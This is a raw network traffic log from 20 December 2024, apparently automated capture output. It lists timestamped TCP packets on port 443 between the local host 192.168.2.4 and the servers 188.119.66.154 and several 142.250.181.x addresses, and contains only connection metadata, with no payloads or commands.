Dec 20, 2024 01:16:57.716392040 CET	443	49836	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:57.716448069 CET	49836	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:57.717631102 CET	49836	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:57.717639923 CET	443	49836	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:57.718708992 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:57.759354115 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:57.863286972 CET	443	49838	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:57.863516092 CET	49838	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:57.863548040 CET	443	49838	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:57.864794016 CET	443	49838	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:57.864862919 CET	49838	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:57.867254019 CET	443	49838	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:57.867331028 CET	49838	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:57.867491961 CET	49838	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:57.867669106 CET	443	49838	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:57.867696047 CET	49838	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:57.911360979 CET	443	49838	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:57.913537025 CET	49838	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:57.913553953 CET	443	49838	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:57.959851980 CET	49838	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:58.154571056 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.201667070 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.277431011 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.277453899 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.277471066 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.277529955 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.277529001 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.277546883 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.277564049 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.277574062 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.277590990 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.277590990 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.277595997 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.277834892 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.389039993 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.389062881 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.389103889 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.389111042 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.389122963 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.389142036 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.389170885 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.389200926 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.389200926 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.389367104 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.480046034 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.480094910 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.480132103 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.480169058 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.480200052 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.480221987 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.563283920 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.563347101 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.563354969 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.563371897 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.563424110 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.563425064 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.587235928 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.587280035 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.587311029 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.587347031 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.587380886 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.587400913 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.614223003 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.614265919 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.614300966 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.614314079 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.614347935 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.614387989 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.667356014 CET	443	49838	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:58.667490959 CET	443	49838	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:58.667798996 CET	49838	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:58.667833090 CET	443	49838	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:58.668245077 CET	49838	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:58.668329000 CET	443	49838	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:58.668392897 CET	49838	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:58.668843031 CET	49841	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:58.668881893 CET	443	49841	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:58.669076920 CET	49841	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:58.669523954 CET	49841	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:58.669543982 CET	443	49841	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:58.675909996 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.675959110 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.675981998 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.676001072 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.676028013 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.676048040 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.744703054 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.744744062 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.744779110 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.744820118 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.744853020 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.744877100 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.757688999 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.757730007 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.757766962 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.757791996 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.757826090 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.757850885 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.768382072 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.768426895 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.768450975 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.768467903 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.768491983 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.768598080 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.768723011 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.769017935 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.769047976 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.818908930 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.819016933 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:58.819111109 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.819394112 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:58.819428921 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:59.187643051 CET	49843	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:59.187700987 CET	443	49843	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:59.187858105 CET	49843	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:59.188390017 CET	49843	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:59.188420057 CET	443	49843	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:00.281310081 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:00.281579018 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:00.281618118 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:00.282725096 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:00.283058882 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:00.283238888 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:00.283273935 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:00.323359966 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:00.337858915 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:00.375602961 CET	443	49841	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:00.375839949 CET	49841	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:00.375861883 CET	443	49841	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:00.376374006 CET	443	49841	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:00.376431942 CET	49841	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:00.377366066 CET	443	49841	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:00.377413988 CET	49841	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:00.377563000 CET	49841	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:00.377645016 CET	443	49841	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:00.377681971 CET	49841	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:00.423336983 CET	443	49841	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:00.430108070 CET	49841	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:00.430124044 CET	443	49841	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:00.476676941 CET	49841	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:00.646132946 CET	443	49843	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:00.646411896 CET	49843	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:00.646475077 CET	443	49843	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:00.646802902 CET	443	49843	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:00.647119045 CET	49843	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:00.647187948 CET	443	49843	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:00.647248983 CET	49843	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:00.687340021 CET	443	49843	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:00.854866982 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:00.905467987 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:00.905505896 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:00.951278925 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:01.046612978 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:01.046641111 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:01.046683073 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:01.046720028 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:01.046765089 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:01.046765089 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:01.046783924 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:01.046785116 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:01.046811104 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:01.046833992 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:01.046833992 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:01.046843052 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:01.046892881 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:01.092137098 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:01.092158079 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:01.092200994 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:01.092207909 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:01.092240095 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:01.092271090 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:01.092271090 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:01.092288971 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:01.092416048 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:01.170929909 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:01.170979023 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:01.171019077 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:01.171040058 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:01.171071053 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:01.171088934 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:01.183909893 CET	443	49841	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:01.183969021 CET	443	49841	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:01.184319973 CET	49841	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:01.184343100 CET	443	49841	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:01.184897900 CET	49841	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:01.184952974 CET	443	49841	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:01.185009003 CET	49841	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:01.245343924 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:01.245450020 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:01.245467901 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:01.245666981 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:01.245737076 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:01.245853901 CET	49842	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:01.245887041 CET	443	49842	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:01.311435938 CET	49849	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:01.311526060 CET	443	49849	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:01.311615944 CET	49849	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:01.312670946 CET	49849	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:01.312709093 CET	443	49849	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:01.332565069 CET	49850	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:01.332688093 CET	443	49850	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:01.332789898 CET	49850	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:01.333152056 CET	49850	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:01.333182096 CET	443	49850	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:01.391132116 CET	49851	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:01.391170979 CET	443	49851	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:01.392940998 CET	49851	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:01.393268108 CET	49851	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:01.393285990 CET	443	49851	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:01.954154968 CET	443	49843	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:01.954253912 CET	443	49843	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:01.954330921 CET	49843	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:01.955954075 CET	49843	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:01.955996990 CET	443	49843	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:02.065324068 CET	49852	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:02.065428972 CET	443	49852	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:02.065594912 CET	49852	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:02.065694094 CET	49853	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:02.065767050 CET	443	49853	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:02.065967083 CET	49853	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:02.067276001 CET	49852	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:02.067308903 CET	443	49852	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:02.068151951 CET	49853	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:02.068202019 CET	443	49853	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:02.264991045 CET	49854	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:02.265036106 CET	443	49854	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:02.266875982 CET	49854	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:02.266875982 CET	49854	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:02.266937017 CET	443	49854	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:02.725852013 CET	443	49821	142.250.181.132	192.168.2.4
Dec 20, 2024 01:17:02.725997925 CET	443	49821	142.250.181.132	192.168.2.4
Dec 20, 2024 01:17:02.726061106 CET	49821	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:17:02.748141050 CET	49821	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:17:02.748152971 CET	443	49821	142.250.181.132	192.168.2.4
Dec 20, 2024 01:17:02.853112936 CET	443	49851	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:02.853620052 CET	49851	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:02.853632927 CET	443	49851	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:02.857208014 CET	443	49851	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:02.857280970 CET	49851	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:02.859303951 CET	49851	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:02.859491110 CET	49851	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:02.859513998 CET	443	49851	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:02.901154041 CET	49851	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:02.901163101 CET	443	49851	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:02.948880911 CET	49851	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:03.009428978 CET	443	49849	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:03.014620066 CET	49849	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:03.014638901 CET	443	49849	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:03.015038013 CET	443	49849	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:03.015908003 CET	49849	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:03.015988111 CET	443	49849	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:03.016196012 CET	49849	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:03.016251087 CET	49849	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:03.016263008 CET	443	49849	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:03.033520937 CET	443	49850	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:03.034007072 CET	49850	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:03.034032106 CET	443	49850	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:03.035254955 CET	443	49850	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:03.035897970 CET	49850	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:03.036072969 CET	443	49850	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:03.036232948 CET	49850	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:03.036257029 CET	49850	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:03.036283970 CET	443	49850	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:03.535649061 CET	443	49852	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:03.535938978 CET	49852	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:03.535975933 CET	443	49852	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:03.536322117 CET	443	49852	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:03.536407948 CET	443	49853	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:03.536936998 CET	49853	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:03.536981106 CET	443	49853	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:03.537019014 CET	49852	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:03.537084103 CET	443	49852	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:03.537116051 CET	49852	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:03.537329912 CET	443	49853	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:03.537678957 CET	49853	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:03.537745953 CET	443	49853	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:03.579333067 CET	443	49852	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:03.590538025 CET	49852	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:03.590544939 CET	49853	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:03.645365000 CET	443	49851	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:03.645533085 CET	443	49851	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:03.645751953 CET	49851	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:03.646601915 CET	49851	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:03.646624088 CET	443	49851	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:03.646639109 CET	49851	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:03.646795034 CET	49851	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:03.647228956 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:03.647263050 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:03.647779942 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:03.647779942 CET	49859	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:03.647814989 CET	443	49859	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:03.735517979 CET	443	49854	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:03.735742092 CET	49854	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:03.735754013 CET	443	49854	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:03.739268064 CET	443	49854	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:03.739479065 CET	49854	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:03.739794970 CET	49854	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:03.739794970 CET	49854	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:03.739859104 CET	443	49854	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:03.767488956 CET	443	49849	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:03.770643950 CET	443	49849	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:03.770725965 CET	49849	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:03.772643089 CET	49849	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:03.772675037 CET	443	49849	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:03.773667097 CET	49860	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:03.773713112 CET	443	49860	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:03.774000883 CET	49860	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:03.774000883 CET	49860	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:03.774066925 CET	443	49860	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:03.785830021 CET	443	49850	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:03.788979053 CET	443	49850	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:03.789104939 CET	49850	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:03.790390015 CET	49850	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:03.790393114 CET	49854	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:03.790406942 CET	443	49850	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:03.790411949 CET	443	49854	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:03.841636896 CET	49854	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:04.382636070 CET	443	49852	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:04.382689953 CET	443	49852	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:04.383019924 CET	49852	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:04.384108067 CET	443	49854	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:04.384260893 CET	443	49854	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:04.384676933 CET	49854	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:04.391560078 CET	49854	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:04.391592026 CET	443	49854	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:04.392389059 CET	49852	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:04.392401934 CET	443	49852	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:04.396760941 CET	49853	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:04.439374924 CET	443	49853	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:04.954488039 CET	443	49853	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:04.971236944 CET	443	49853	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:04.971249104 CET	443	49853	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:04.971303940 CET	443	49853	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:04.971339941 CET	49853	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:04.971369028 CET	443	49853	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:04.971410036 CET	49853	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:04.971435070 CET	443	49853	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:04.971617937 CET	49853	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:04.971637964 CET	443	49853	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:04.981765985 CET	49861	443	192.168.2.4	188.119.66.154
